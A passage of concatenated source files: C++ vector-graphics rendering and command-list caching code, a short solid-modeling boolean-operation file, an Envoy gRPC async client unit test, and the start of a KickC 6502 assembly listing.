ctx->m_FontImages[ctx->m_FontImageID].idx); VertexBuffer* vb = &ctx->m_VertexBuffers[cmd->m_VertexBufferID]; const uint32_t vbOffset = cmd->m_FirstVertexID + cmd->m_NumVertices; float* dstPos = &vb->m_Pos[vbOffset << 1]; bx::memCopy(dstPos, ctx->m_TextVertices, sizeof(float) * 2 * numDrawVertices); uint32_t* dstColor = &vb->m_Color[vbOffset]; vgutil::memset32(dstColor, numDrawVertices, &c); #if VG_CONFIG_UV_INT16 int16_t* dstUV = &vb->m_UV[vbOffset << 1]; const FONSquad* q = ctx->m_TextQuads; uint32_t nq = numQuads; while (nq-- > 0) { const float s0 = q->s0; const float s1 = q->s1; const float t0 = q->t0; const float t1 = q->t1; dstUV[0] = (int16_t)(s0 * INT16_MAX); dstUV[1] = (int16_t)(t0 * INT16_MAX); dstUV[2] = (int16_t)(s1 * INT16_MAX); dstUV[3] = (int16_t)(t0 * INT16_MAX); dstUV[4] = (int16_t)(s1 * INT16_MAX); dstUV[5] = (int16_t)(t1 * INT16_MAX); dstUV[6] = (int16_t)(s0 * INT16_MAX); dstUV[7] = (int16_t)(t1 * INT16_MAX); dstUV += 8; ++q; } #else float* dstUV = &vb->m_UV[vbOffset << 1]; const FONSquad* q = ctx->m_TextQuads; uint32_t nq = numQuads; while (nq-- > 0) { const float s0 = q->s0; const float s1 = q->s1; const float t0 = q->t0; const float t1 = q->t1; dstUV[0] = s0; dstUV[1] = t0; dstUV[2] = s1; dstUV[3] = t0; dstUV[4] = s1; dstUV[5] = t1; dstUV[6] = s0; dstUV[7] = t1; dstUV += 8; ++q; } #endif IndexBuffer* ib = &ctx->m_IndexBuffers[ctx->m_ActiveIndexBufferID]; uint16_t* dstIndex = &ib->m_Indices[cmd->m_FirstIndexID + cmd->m_NumIndices]; vgutil::genQuadIndices_unaligned(dstIndex, numQuads, (uint16_t)cmd->m_NumVertices); cmd->m_NumVertices += numDrawVertices; cmd->m_NumIndices += numDrawIndices; } static void flushTextAtlas(Context* ctx) { FONScontext* fons = ctx->m_FontStashContext; int dirty[4]; if (!fonsValidateTexture(fons, dirty)) { return; } // Update texture ImageHandle fontImage = ctx->m_FontImages[ctx->m_FontImageID]; if (!isValid(fontImage)) { return; } int iw, ih; const uint8_t* a8Data = fonsGetTextureData(fons, &iw, &ih); VG_CHECK(iw > 0 && ih > 0, "Invalid font atlas dimensions"); // TODO: Convert only the dirty part of the texture (it's the only part that will be uploaded to the backend) uint32_t* rgbaData = (uint32_t*)BX_ALLOC(ctx->m_Allocator, sizeof(uint32_t) * iw * ih); vgutil::convertA8_to_RGBA8(rgbaData, a8Data, (uint32_t)iw, (uint32_t)ih, 0x00FFFFFF); int x = dirty[0]; int y = dirty[1]; int w = dirty[2] - dirty[0]; int h = dirty[3] - dirty[1]; updateImage(ctx, fontImage, (uint16_t)x, (uint16_t)y, (uint16_t)w, (uint16_t)h, (const uint8_t*)rgbaData); BX_FREE(ctx->m_Allocator, rgbaData); } static CommandListHandle allocCommandList(Context* ctx) { CommandListHandle handle = { ctx->m_CmdListHandleAlloc->alloc() }; if (!isValid(handle)) { return VG_INVALID_HANDLE; } VG_CHECK(handle.idx < ctx->m_Config.m_MaxCommandLists, "Allocated invalid command list handle"); CommandList* cl = &ctx->m_CmdLists[handle.idx]; bx::memSet(cl, 0, sizeof(CommandList)); return handle; } static inline bool isCommandListHandleValid(Context* ctx, CommandListHandle handle) { return isValid(handle) && ctx->m_CmdListHandleAlloc->isValid(handle.idx); } #if VG_CONFIG_ENABLE_SHAPE_CACHING static CommandListCache* allocCommandListCache(Context* ctx) { bx::AllocatorI* allocator = ctx->m_Allocator; CommandListCache* cache = (CommandListCache*)BX_ALLOC(allocator, sizeof(CommandListCache)); bx::memSet(cache, 0, sizeof(CommandListCache)); return cache; } static void freeCommandListCache(Context* ctx, CommandListCache* cache) { bx::AllocatorI* allocator = ctx->m_Allocator; clCacheReset(ctx, cache); BX_FREE(allocator, cache); } #endif static uint8_t* clAllocCommand(Context* ctx, CommandList* cl, CommandType::Enum cmdType, uint32_t dataSize) { const uint32_t alignedDataSize = alignSize(dataSize, VG_CONFIG_COMMAND_LIST_ALIGNMENT); const uint32_t totalSize = 0 + kAlignedCommandHeaderSize + alignedDataSize; const uint32_t pos = cl->m_CommandBufferPos; VG_CHECK(isAligned(pos, VG_CONFIG_COMMAND_LIST_ALIGNMENT), "Unaligned command buffer position"); if (pos + totalSize > cl->m_CommandBufferCapacity) { const uint32_t capacityDelta = bx::max<uint32_t>(totalSize, 256); cl->m_CommandBufferCapacity += capacityDelta; cl->m_CommandBuffer = (uint8_t*)BX_ALIGNED_REALLOC(ctx->m_Allocator, cl->m_CommandBuffer, cl->m_CommandBufferCapacity, VG_CONFIG_COMMAND_LIST_ALIGNMENT); ctx->m_Stats.m_CmdListMemoryTotal += capacityDelta; } uint8_t* ptr = &cl->m_CommandBuffer[pos]; cl->m_CommandBufferPos += totalSize; ctx->m_Stats.m_CmdListMemoryUsed += totalSize; CommandHeader* hdr = (CommandHeader*)ptr; ptr += kAlignedCommandHeaderSize; hdr->m_Type = cmdType; hdr->m_Size = alignedDataSize; return ptr; } static uint32_t clStoreString(Context* ctx, CommandList* cl, const char* str, uint32_t len) { if (cl->m_StringBufferPos + len > cl->m_StringBufferCapacity) { cl->m_StringBufferCapacity += bx::max<uint32_t>(len, 128); cl->m_StringBuffer = (char*)BX_REALLOC(ctx->m_Allocator, cl->m_StringBuffer, cl->m_StringBufferCapacity); } const uint32_t offset = cl->m_StringBufferPos; bx::memCopy(cl->m_StringBuffer + offset, str, len); cl->m_StringBufferPos += len; return offset; } #if VG_CONFIG_ENABLE_SHAPE_CACHING static CommandListCache* clGetCache(Context* ctx, CommandList* cl) { if ((cl->m_Flags & CommandListFlags::Cacheable) == 0) { return nullptr; } CommandListCache* cache = cl->m_Cache; if (!cache) { cache = allocCommandListCache(ctx); cl->m_Cache = cache; } return cache; } static void pushCommandListCache(Context* ctx, CommandListCache* cache) { VG_CHECK(ctx->m_CmdListCacheStackTop + 1 < VG_CONFIG_COMMAND_LIST_CACHE_STACK_SIZE, "Command list cache stack overflow"); ++ctx->m_CmdListCacheStackTop; ctx->m_CmdListCacheStack[ctx->m_CmdListCacheStackTop] = cache; } static void popCommandListCache(Context* ctx) { VG_CHECK(ctx->m_CmdListCacheStackTop != ~0u, "Command list cache stack underflow"); --ctx->m_CmdListCacheStackTop; } static CommandListCache* getCommandListCacheStackTop(Context* ctx) { const uint32_t top = ctx->m_CmdListCacheStackTop; return top == ~0u ? nullptr : ctx->m_CmdListCacheStack[top]; } static void beginCachedCommand(Context* ctx) { CommandListCache* cache = getCommandListCacheStackTop(ctx); VG_CHECK(cache, "No bound CommandListCache"); bx::AllocatorI* allocator = ctx->m_Allocator; cache->m_NumCommands++; cache->m_Commands = (CachedCommand*)BX_REALLOC(allocator, cache->m_Commands, sizeof(CachedCommand) * cache->m_NumCommands); CachedCommand* lastCmd = &cache->m_Commands[cache->m_NumCommands - 1]; lastCmd->m_FirstMeshID = (uint16_t)cache->m_NumMeshes; lastCmd->m_NumMeshes = 0; const State* state = getState(ctx); vgutil::invertMatrix3(state->m_TransformMtx, lastCmd->m_InvTransformMtx); } static void endCachedCommand(Context* ctx) { CommandListCache* cache = getCommandListCacheStackTop(ctx); VG_CHECK(cache, "No bound CommandListCache"); VG_CHECK(cache->m_NumCommands != 0, "beginCachedCommand() hasn't been called"); CachedCommand* lastCmd = &cache->m_Commands[cache->m_NumCommands - 1]; VG_CHECK(lastCmd->m_NumMeshes == 0, "endCachedCommand() called too many times"); lastCmd->m_NumMeshes = (uint16_t)(cache->m_NumMeshes - lastCmd->m_FirstMeshID); } static void addCachedCommand(Context* ctx, const float* pos, uint32_t numVertices, const uint32_t* colors, uint32_t numColors, const uint16_t* indices, uint32_t numIndices) { CommandListCache* cache = getCommandListCacheStackTop(ctx); VG_CHECK(cache, "No bound CommandListCache"); bx::AllocatorI* allocator = ctx->m_Allocator; cache->m_NumMeshes++; cache->m_Meshes = (CachedMesh*)BX_REALLOC(allocator, cache->m_Meshes, sizeof(CachedMesh) * cache->m_NumMeshes); CachedMesh* mesh = &cache->m_Meshes[cache->m_NumMeshes - 1]; const uint32_t totalMem = 0 + alignSize(sizeof(float) * 2 * numVertices, 16) + ((numColors != 1) ? alignSize(sizeof(uint32_t) * numVertices, 16) : 0) + alignSize(sizeof(uint16_t) * numIndices, 16); uint8_t* mem = (uint8_t*)BX_ALIGNED_ALLOC(allocator, totalMem, 16); mesh->m_Pos = (float*)mem; mem += alignSize(sizeof(float) * 2 * numVertices, 16); const float* invMtx = cache->m_Commands[cache->m_NumCommands - 1].m_InvTransformMtx; vgutil::batchTransformPositions(pos, numVertices, mesh->m_Pos, invMtx); mesh->m_NumVertices = numVertices; if (numColors == 1) { mesh->m_Colors = nullptr; } else { VG_CHECK(numColors == numVertices, "Invalid number of colors"); mesh->m_Colors = (uint32_t*)mem; mem += alignSize(sizeof(uint32_t) * numVertices, 16); bx::memCopy(mesh->m_Colors, colors, sizeof(uint32_t) * numColors); } mesh->m_Indices = (uint16_t*)mem; bx::memCopy(mesh->m_Indices, indices, sizeof(uint16_t) * numIndices); mesh->m_NumIndices = numIndices; } // Walk the command list; avoid Path commands and use CachedMesh(es) on Stroker commands. // Everything else (state, clip, text) is executed similarly to the uncached version (see submitCommandList). static void clCacheRender(Context* ctx, CommandList* cl) { const uint16_t numGradients = cl->m_NumGradients; const uint16_t numImagePatterns = cl->m_NumImagePatterns; const uint32_t clFlags = cl->m_Flags; const bool cullCmds = (clFlags & CommandListFlags::AllowCommandCulling) != 0; CommandListCache* clCache = cl->m_Cache; VG_CHECK(clCache != nullptr, "No CommandListCache in CommandList; this function shouldn't have been called!"); const uint16_t firstGradientID = (uint16_t)ctx->m_NextGradientID; const uint16_t firstImagePatternID = (uint16_t)ctx->m_NextImagePatternID; VG_CHECK(firstGradientID + numGradients <= ctx->m_Config.m_MaxGradients, "Not enough free gradients for command list. Increase ContextConfig::m_MaxGradients"); VG_CHECK(firstImagePatternID + numImagePatterns <= ctx->m_Config.m_MaxImagePatterns, "Not enough free image patterns for command list. Increase ContextConfig::m_MaxImagePatterns"); BX_UNUSED(numGradients, numImagePatterns); // For Release builds. const uint8_t* cmd = cl->m_CommandBuffer; const uint8_t* cmdListEnd = cl->m_CommandBuffer + cl->m_CommandBufferPos; if (cmd == cmdListEnd) { return; } const char* stringBuffer = cl->m_StringBuffer; CachedCommand* nextCachedCommand = &clCache->m_Commands[0]; bool skipCmds = false; #if VG_CONFIG_COMMAND_LIST_PRESERVE_STATE ctxPushState(ctx); #endif while (cmd < cmdListEnd) { const CommandHeader* cmdHeader = (CommandHeader*)cmd; cmd += kAlignedCommandHeaderSize; const uint8_t* nextCmd = cmd + cmdHeader->m_Size; // Skip path commands. if (cmdHeader->m_Type >= CommandType::FirstPathCommand && cmdHeader->m_Type <= CommandType::LastPathCommand) { cmd = nextCmd; continue; } if (skipCmds && cmdHeader->m_Type >= CommandType::FirstStrokerCommand && cmdHeader->m_Type <= CommandType::LastStrokerCommand) { cmd = nextCmd; ++nextCachedCommand; continue; } switch (cmdHeader->m_Type) { case CommandType::FillPathColor: { const uint32_t flags = CMD_READ(cmd, uint32_t); const Color color = CMD_READ(cmd, Color); BX_UNUSED(flags); submitCachedMesh(ctx, color, &clCache->m_Meshes[nextCachedCommand->m_FirstMeshID], nextCachedCommand->m_NumMeshes); ++nextCachedCommand; } break; case CommandType::FillPathGradient: { const uint32_t flags = CMD_READ(cmd, uint32_t); const uint16_t gradientHandle = CMD_READ(cmd, uint16_t); const uint16_t gradientFlags = CMD_READ(cmd, uint16_t); BX_UNUSED(flags); const GradientHandle gradient = { isLocal(gradientFlags) ? (uint16_t)(gradientHandle + firstGradientID) : gradientHandle, 0 }; submitCachedMesh(ctx, gradient, &clCache->m_Meshes[nextCachedCommand->m_FirstMeshID], nextCachedCommand->m_NumMeshes); ++nextCachedCommand; } break; case CommandType::FillPathImagePattern: { const uint32_t flags = CMD_READ(cmd, uint32_t); const Color color = CMD_READ(cmd, Color); const uint16_t imgPatternHandle = CMD_READ(cmd, uint16_t); const uint16_t imgPatternFlags = CMD_READ(cmd, uint16_t); BX_UNUSED(flags); const ImagePatternHandle imgPattern = { isLocal(imgPatternFlags) ? (uint16_t)(imgPatternHandle + firstImagePatternID) : imgPatternHandle, 0 }; submitCachedMesh(ctx, imgPattern, color, &clCache->m_Meshes[nextCachedCommand->m_FirstMeshID], nextCachedCommand->m_NumMeshes); ++nextCachedCommand; } break; case CommandType::StrokePathColor: { const float width = CMD_READ(cmd, float); const uint32_t flags = CMD_READ(cmd, uint32_t); const Color color = CMD_READ(cmd, Color); BX_UNUSED(flags, width); submitCachedMesh(ctx, color, &clCache->m_Meshes[nextCachedCommand->m_FirstMeshID], nextCachedCommand->m_NumMeshes); ++nextCachedCommand; } break; case CommandType::StrokePathGradient: { const float width = CMD_READ(cmd, float); const uint32_t flags = CMD_READ(cmd, uint32_t); const uint16_t gradientHandle = CMD_READ(cmd, uint16_t); const uint16_t gradientFlags = CMD_READ(cmd, uint16_t); BX_UNUSED(flags, width); const GradientHandle gradient = { isLocal(gradientFlags) ? (uint16_t)(gradientHandle + firstGradientID) : gradientHandle, 0 }; submitCachedMesh(ctx, gradient, &clCache->m_Meshes[nextCachedCommand->m_FirstMeshID], nextCachedCommand->m_NumMeshes); ++nextCachedCommand; } break; case CommandType::StrokePathImagePattern: { const float width = CMD_READ(cmd, float); const uint32_t flags = CMD_READ(cmd, uint32_t); const Color color = CMD_READ(cmd, Color); const uint16_t imgPatternHandle = CMD_READ(cmd, uint16_t); const uint16_t imgPatternFlags = CMD_READ(cmd, uint16_t); BX_UNUSED(flags, width); const ImagePatternHandle imgPattern = { isLocal(imgPatternFlags) ? (uint16_t)(imgPatternHandle + firstImagePatternID) : imgPatternHandle, 0 }; submitCachedMesh(ctx, imgPattern, color, &clCache->m_Meshes[nextCachedCommand->m_FirstMeshID], nextCachedCommand->m_NumMeshes); ++nextCachedCommand; } break; case CommandType::IndexedTriList: { const uint32_t numVertices = CMD_READ(cmd, uint32_t); const float* positions = (float*)cmd; cmd += sizeof(float) * 2 * numVertices; const uint32_t numUVs = CMD_READ(cmd, uint32_t); const uv_t* uv = (uv_t*)cmd; cmd += sizeof(uv_t) * 2 * numUVs; const uint32_t numColors = CMD_READ(cmd, uint32_t); const Color* colors = (Color*)cmd; cmd += sizeof(Color) * numColors; const uint32_t numIndices = CMD_READ(cmd, uint32_t); const uint16_t* indices = (uint16_t*)cmd; cmd += sizeof(uint16_t) * numIndices; const uint16_t imgHandle = CMD_READ(cmd, uint16_t); ctxIndexedTriList(ctx, positions, numUVs ? uv : nullptr, numVertices, colors, numColors, indices, numIndices, { imgHandle }); } break; case CommandType::CreateLinearGradient: { const float* params = (float*)cmd; cmd += sizeof(float) * 4; const Color* colors = (Color*)cmd; cmd += sizeof(Color) * 2; ctxCreateLinearGradient(ctx, params[0], params[1], params[2], params[3], colors[0], colors[1]); } break; case CommandType::CreateBoxGradient: { const float* params = (float*)cmd; cmd += sizeof(float) * 6; const Color* colors = (Color*)cmd; cmd += sizeof(Color) * 2; ctxCreateBoxGradient(ctx, params[0], params[1], params[2], params[3], params[4], params[5], colors[0], colors[1]); } break; case CommandType::CreateRadialGradient: { const float* params = (float*)cmd; cmd += sizeof(float) * 4; const Color* colors = (Color*)cmd; cmd += sizeof(Color) * 2; ctxCreateRadialGradient(ctx, params[0], params[1], params[2], params[3], colors[0], colors[1]); } break; case CommandType::CreateImagePattern: { const float* params = (float*)cmd; cmd += sizeof(float) * 5; const ImageHandle img = CMD_READ(cmd, ImageHandle); ctxCreateImagePattern(ctx, params[0], params[1], params[2], params[3], params[4], img); } break; case CommandType::Text: { const TextConfig* txtCfg = (TextConfig*)cmd; cmd += sizeof(TextConfig); const float* coords = (float*)cmd; cmd += sizeof(float) * 2; const uint32_t stringOffset = CMD_READ(cmd, uint32_t); const uint32_t stringLen = CMD_READ(cmd, uint32_t); VG_CHECK(stringOffset < cl->m_StringBufferPos, "Invalid string offset"); VG_CHECK(stringOffset + stringLen <= cl->m_StringBufferPos, "Invalid string length"); const char* str = stringBuffer + stringOffset; const char* end = str + stringLen; ctxText(ctx, *txtCfg, coords[0], coords[1], str, end); } break; case CommandType::TextBox: { const TextConfig* txtCfg = (TextConfig*)cmd; cmd += sizeof(TextConfig); const float* coords = (float*)cmd; cmd += sizeof(float) * 3; // x, y, breakWidth const uint32_t stringOffset = CMD_READ(cmd, uint32_t); const uint32_t stringLen = CMD_READ(cmd, uint32_t); const uint32_t textboxFlags = CMD_READ(cmd, uint32_t); VG_CHECK(stringOffset < cl->m_StringBufferPos, "Invalid string offset"); VG_CHECK(stringOffset + stringLen <= cl->m_StringBufferPos, "Invalid string length"); const char* str = stringBuffer + stringOffset; const char* end = str + stringLen; ctxTextBox(ctx, *txtCfg, coords[0], coords[1], coords[2], str, end, textboxFlags); } break; case CommandType::ResetScissor: { ctxResetScissor(ctx); skipCmds = false; } break; case CommandType::SetScissor: { const float* rect = (float*)cmd; cmd += sizeof(float) * 4; ctxSetScissor(ctx, rect[0], rect[1], rect[2], rect[3]); if (cullCmds) { skipCmds = (rect[2] < 1.0f) || (rect[3] < 1.0f); } } break; case CommandType::IntersectScissor: { const float* rect = (float*)cmd; cmd += sizeof(float) * 4; const bool zeroRect = !ctxIntersectScissor(ctx, rect[0], rect[1], rect[2], rect[3]); if (cullCmds) { skipCmds = zeroRect; } } break; case CommandType::PushState: { ctxPushState(ctx); } break; case CommandType::PopState: { ctxPopState(ctx); if (cullCmds) { const State* state = getState(ctx); const float* scissorRect = &state->m_ScissorRect[0]; skipCmds = (scissorRect[2] < 1.0f) || (scissorRect[3] < 1.0f); } } break; case CommandType::TransformIdentity: { ctxTransformIdentity(ctx); } break; case CommandType::TransformRotate: { const float ang_rad = CMD_READ(cmd, float); ctxTransformRotate(ctx, ang_rad); } break; case CommandType::TransformTranslate: { const float* coords = (float*)cmd; cmd += sizeof(float) * 2; ctxTransformTranslate(ctx, coords[0], coords[1]); } break; case CommandType::TransformScale: { const float* coords = (float*)cmd; cmd += sizeof(float) * 2; ctxTransformScale(ctx, coords[0], coords[1]); } break; case CommandType::TransformMult: { const float* mtx = (float*)cmd; cmd += sizeof(float) * 6; const TransformOrder::Enum order = CMD_READ(cmd, TransformOrder::Enum); ctxTransformMult(ctx, mtx, order); } break; case CommandType::SetViewBox: { const float* viewBox = (float*)cmd; cmd += sizeof(float) * 4; ctxSetViewBox(ctx, viewBox[0], viewBox[1], viewBox[2], viewBox[3]); } break; case CommandType::BeginClip: { const ClipRule::Enum rule = CMD_READ(cmd, ClipRule::Enum); ctxBeginClip(ctx, rule); } break; case CommandType::EndClip: { ctxEndClip(ctx); } break; case CommandType::ResetClip: { ctxResetClip(ctx); } break; case CommandType::SubmitCommandList: { const uint16_t cmdListID = CMD_READ(cmd, uint16_t); const CommandListHandle cmdListHandle = { cmdListID }; if (isCommandListHandleValid(ctx, cmdListHandle)) { ctxSubmitCommandList(ctx, cmdListHandle); } } break; default: { VG_CHECK(false, "Unknown cached command"); } break; } cmd = nextCmd; } #if VG_CONFIG_COMMAND_LIST_PRESERVE_STATE ctxPopState(ctx); ctxResetClip(ctx); #endif } static void clCacheReset(Context* ctx, CommandListCache* cache) { bx::AllocatorI* allocator = ctx->m_Allocator; const uint32_t numMeshes = cache->m_NumMeshes; for (uint32_t i = 0; i < numMeshes; ++i) { CachedMesh* mesh = &cache->m_Meshes[i]; BX_ALIGNED_FREE(allocator, mesh->m_Pos, 16); } BX_FREE(allocator, cache->m_Meshes); BX_FREE(allocator, cache->m_Commands); bx::memSet(cache, 0, sizeof(CommandListCache)); } static void submitCachedMesh(Context* ctx, Color col, const CachedMesh* meshList, uint32_t numMeshes) { const bool recordClipCommands = ctx->m_RecordClipCommands; const State* state = getState(ctx); const float* mtx = state->m_TransformMtx; if (recordClipCommands) { for (uint32_t i = 0; i < numMeshes; ++i) { const CachedMesh* mesh = &meshList[i]; const uint32_t numVertices = mesh->m_NumVertices; float* transformedVertices = allocTransformedVertices(ctx, numVertices); vgutil::batchTransformPositions(mesh->m_Pos, numVertices, transformedVertices, mtx); createDrawCommand_Clip(ctx, transformedVertices, numVertices, mesh->m_Indices, mesh->m_NumIndices); } } else { for (uint32_t i = 0; i < numMeshes; ++i) { const CachedMesh* mesh = &meshList[i]; const uint32_t numVertices = mesh->m_NumVertices; float* transformedVertices = allocTransformedVertices(ctx, numVertices); const uint32_t* colors = mesh->m_Colors ? mesh->m_Colors : &col; const uint32_t numColors = mesh->m_Colors ? numVertices : 1; vgutil::batchTransformPositions(mesh->m_Pos, numVertices, transformedVertices, mtx); createDrawCommand_VertexColor(ctx, transformedVertices, numVertices, colors, numColors, mesh->m_Indices, mesh->m_NumIndices); } } } static void submitCachedMesh(Context* ctx, GradientHandle gradientHandle, const CachedMesh* meshList, uint32_t numMeshes) { VG_CHECK(!ctx->m_RecordClipCommands, "Only submitCachedMesh(Color) is supported inside BeginClip()/EndClip()"); VG_CHECK(isValid(gradientHandle), "Invalid gradient handle"); VG_CHECK(!isLocal(gradientHandle), "Invalid gradient handle"); const State* state = getState(ctx); const float* mtx = state->m_TransformMtx; const uint32_t black = Colors::Black; for (uint32_t i = 0; i < numMeshes; ++i) { const CachedMesh* mesh = &meshList[i]; const uint32_t numVertices = mesh->m_NumVertices; float* transformedVertices = allocTransformedVertices(ctx, numVertices); const uint32_t* colors = mesh->m_Colors ? mesh->m_Colors : &black; const uint32_t numColors = mesh->m_Colors ? numVertices : 1; vgutil::batchTransformPositions(mesh->m_Pos, numVertices, transformedVertices, mtx); createDrawCommand_ColorGradient(ctx, gradientHandle, transformedVertices, numVertices, colors, numColors, mesh->m_Indices, mesh->m_NumIndices); } } static void submitCachedMesh(Context* ctx, ImagePatternHandle imgPattern, Color col, const CachedMesh* meshList, uint32_t numMeshes) { VG_CHECK(!ctx->m_RecordClipCommands, "Only submitCachedMesh(Color) is supported inside BeginClip()/EndClip()"); VG_CHECK(isValid(imgPattern), "Invalid image pattern handle"); VG_CHECK(!isLocal(imgPattern), "Invalid image pattern handle"); const State* state = getState(ctx); const float* mtx = state->m_TransformMtx; for (uint32_t i = 0; i < numMeshes; ++i) { const CachedMesh* mesh = &meshList[i]; const uint32_t numVertices = mesh->m_NumVertices; float* transformedVertices = allocTransformedVertices(ctx, numVertices); const uint32_t* colors = mesh->m_Colors ? mesh->m_Colors : &col; const uint32_t numColors = mesh->m_Colors ? numVertices : 1; vgutil::batchTransformPositions(mesh->m_Pos, numVertices, transformedVertices, mtx); createDrawCommand_ImagePattern(ctx, imgPattern, transformedVertices, numVertices, colors, numColors, mesh->m_Indices, mesh->m_NumIndices); } } #endif // VG_CONFIG_ENABLE_SHAPE_CACHING static void releaseVertexBufferDataCallback_Vec2(void* ptr, void* userData) { Context* ctx = (Context*)userData; releaseVertexBufferData_Vec2(ctx, (float*)ptr); } static void releaseVertexBufferDataCallback_Uint32(void* ptr, void* userData) { Context* ctx = (Context*)userData; releaseVertexBufferData_Uint32(ctx, (uint32_t*)ptr); } #if VG_CONFIG_UV_INT16 static void releaseVertexBufferDataCallback_UV(void* ptr, void* userData) { Context* ctx = (Context*)userData; releaseVertexBufferData_UV(ctx, (int16_t*)ptr); } #endif static void releaseIndexBufferCallback(void* ptr, void* userData) { Context* ctx = (Context*)userData; releaseIndexBuffer(ctx, (uint16_t*)ptr); } }
//------------------------------------------------------------------------- // Copyright (c) 1997-1998 Great Hill Corporation // All Rights Reserved. //------------------------------------------------------------------------- #include "Kramer.h" #include "Solid.h" /* SFBool vrSolid::BoolOp(vrSolid *A, vrSolid *B, vrSolid **R, long op, void *statRec) { A->Merge(B); *R = A; return TRUE; } */ SFBool vrSolid::Union(vrSolid *B, vrSolid **result, void *statRec) { return BoolOp(this, B, result, vrUNION, statRec); } SFBool vrSolid::Intersection(vrSolid *B, vrSolid **result, void *statRec) { return BoolOp(this, B, result, vrINTERSECTION, statRec); } SFBool vrSolid::Difference(vrSolid *B, vrSolid **result, void *statRec) { return BoolOp(this, B, result, vrDIFFERENCE, statRec); } /* SFBool vrSolid::Split(const vrPlane& SP, vrSolid **Above, vrSolid **Below) { return TRUE; } */
#include "envoy/stats/scope.h" #include "common/api/api_impl.h" #include "common/event/dispatcher_impl.h" #include "common/grpc/google_async_client_impl.h" #include "common/stats/isolated_store_impl.h" #include "test/mocks/grpc/mocks.h" #include "test/mocks/tracing/mocks.h" #include "test/proto/helloworld.pb.h" #include "test/test_common/test_time.h" #include "test/test_common/utility.h" #include "gmock/gmock.h" #include "gtest/gtest.h" using testing::_; using testing::Eq; using testing::Return; namespace Envoy { namespace Grpc { namespace { class MockGenericStub : public GoogleStub { public: MOCK_METHOD3(PrepareCall_, grpc::GenericClientAsyncReaderWriter*(grpc::ClientContext* context, const grpc::string& method, grpc::CompletionQueue* cq)); std::unique_ptr<grpc::GenericClientAsyncReaderWriter> PrepareCall(grpc::ClientContext* context, const grpc::string& method, grpc::CompletionQueue* cq) override { return std::unique_ptr<grpc::GenericClientAsyncReaderWriter>(PrepareCall_(context, method, cq)); } }; class MockStubFactory : public GoogleStubFactory { public: std::shared_ptr<GoogleStub> createStub(std::shared_ptr<grpc::Channel> /*channel*/) override { return shared_stub_; } MockGenericStub* stub_ = new MockGenericStub(); std::shared_ptr<GoogleStub> shared_stub_{stub_}; }; class EnvoyGoogleAsyncClientImplTest : public testing::Test { public: EnvoyGoogleAsyncClientImplTest() : stats_store_(new Stats::IsolatedStoreImpl), api_(Api::createApiForTest(*stats_store_)), dispatcher_(api_->allocateDispatcher()), scope_(stats_store_), method_descriptor_(helloworld::Greeter::descriptor()->FindMethodByName("SayHello")) { envoy::api::v2::core::GrpcService config; auto* google_grpc = config.mutable_google_grpc(); google_grpc->set_target_uri("fake_address"); google_grpc->set_stat_prefix("test_cluster"); tls_ = std::make_unique<GoogleAsyncClientThreadLocal>(*api_); grpc_client_ = std::make_unique<GoogleAsyncClientImpl>(*dispatcher_, *tls_, stub_factory_, scope_, config, *api_); } DangerousDeprecatedTestTime test_time_; Stats::IsolatedStoreImpl* stats_store_; // Ownership transferred to scope_. Api::ApiPtr api_; Event::DispatcherPtr dispatcher_; Stats::ScopeSharedPtr scope_; std::unique_ptr<GoogleAsyncClientThreadLocal> tls_; MockStubFactory stub_factory_; const Protobuf::MethodDescriptor* method_descriptor_; AsyncClient<helloworld::HelloRequest, helloworld::HelloReply> grpc_client_; }; // Validate that a failure in gRPC stub call creation returns immediately with // status UNAVAILABLE. TEST_F(EnvoyGoogleAsyncClientImplTest, StreamHttpStartFail) { EXPECT_CALL(*stub_factory_.stub_, PrepareCall_(_, _, _)).WillOnce(Return(nullptr)); MockAsyncStreamCallbacks<helloworld::HelloReply> grpc_callbacks; EXPECT_CALL(grpc_callbacks, onCreateInitialMetadata(_)); EXPECT_CALL(grpc_callbacks, onReceiveTrailingMetadata_(_)); EXPECT_CALL(grpc_callbacks, onRemoteClose(Status::GrpcStatus::Unavailable, "")); auto grpc_stream = grpc_client_->start(*method_descriptor_, grpc_callbacks, Http::AsyncClient::StreamOptions()); EXPECT_TRUE(grpc_stream == nullptr); } // Validate that a failure in gRPC stub call creation returns immediately with // status UNAVAILABLE. TEST_F(EnvoyGoogleAsyncClientImplTest, RequestHttpStartFail) { EXPECT_CALL(*stub_factory_.stub_, PrepareCall_(_, _, _)).WillOnce(Return(nullptr)); MockAsyncRequestCallbacks<helloworld::HelloReply> grpc_callbacks; EXPECT_CALL(grpc_callbacks, onCreateInitialMetadata(_)); EXPECT_CALL(grpc_callbacks, onFailure(Status::GrpcStatus::Unavailable, "", _)); helloworld::HelloRequest request_msg; Tracing::MockSpan active_span; Tracing::MockSpan* child_span{new Tracing::MockSpan()}; EXPECT_CALL(active_span, spawnChild_(_, "async test_cluster egress", _)) .WillOnce(Return(child_span)); EXPECT_CALL(*child_span, setTag(Eq(Tracing::Tags::get().Component), Eq(Tracing::Tags::get().Proxy))); EXPECT_CALL(*child_span, setTag(Eq(Tracing::Tags::get().UpstreamCluster), Eq("test_cluster"))); EXPECT_CALL(*child_span, setTag(Eq(Tracing::Tags::get().GrpcStatusCode), Eq("14"))); EXPECT_CALL(*child_span, setTag(Eq(Tracing::Tags::get().Error), Eq(Tracing::Tags::get().True))); EXPECT_CALL(*child_span, finishSpan()); EXPECT_CALL(*child_span, injectContext(_)); auto* grpc_request = grpc_client_->send(*method_descriptor_, request_msg, grpc_callbacks, active_span, Http::AsyncClient::RequestOptions()); EXPECT_TRUE(grpc_request == nullptr); } } // namespace } // namespace Grpc } // namespace Envoy
// Test KickC performance for 16-bit array lookup function from article "Optimizing C array lookups for the 6502" // http://8bitworkshop.com/blog/compilers/2019/03/17/cc65-optimization.html // Commodore 64 PRG executable file .file [name="array-16bit-lookup.prg", type="prg", segments="Program"] .segmentdef Program [segments="Basic, Code, Data"] .segmentdef Basic [start=$0801] .segmentdef Code [start=$80d] .segmentdef Data [startAfter="Code"] .segment Basic :BasicUpstart(main) .segment Code main: { .label SCREEN = $400 .label __0 = 4 ldx #0 __b1: // getValue(idx) txa sta.z getValue.index lda #0 sta.z getValue.index+1 jsr getValue // SCREEN[idx] = getValue(idx) txa asl tay lda.z __0 sta SCREEN,y lda.z __0+1 sta SCREEN+1,y // for(unsigned char idx : 0..128) inx cpx #$81 bne __b1 // } rts } // __zp(4) unsigned int getValue(__zp(2) unsigned int index) getValue: { .label index = 2 .label return = 4 // index & 0x7f lda #$7f and.z index // arr16[index & 0x7f] & 0xff asl tay lda #$ff and arr16,y // (arr16[index & 0x7f] 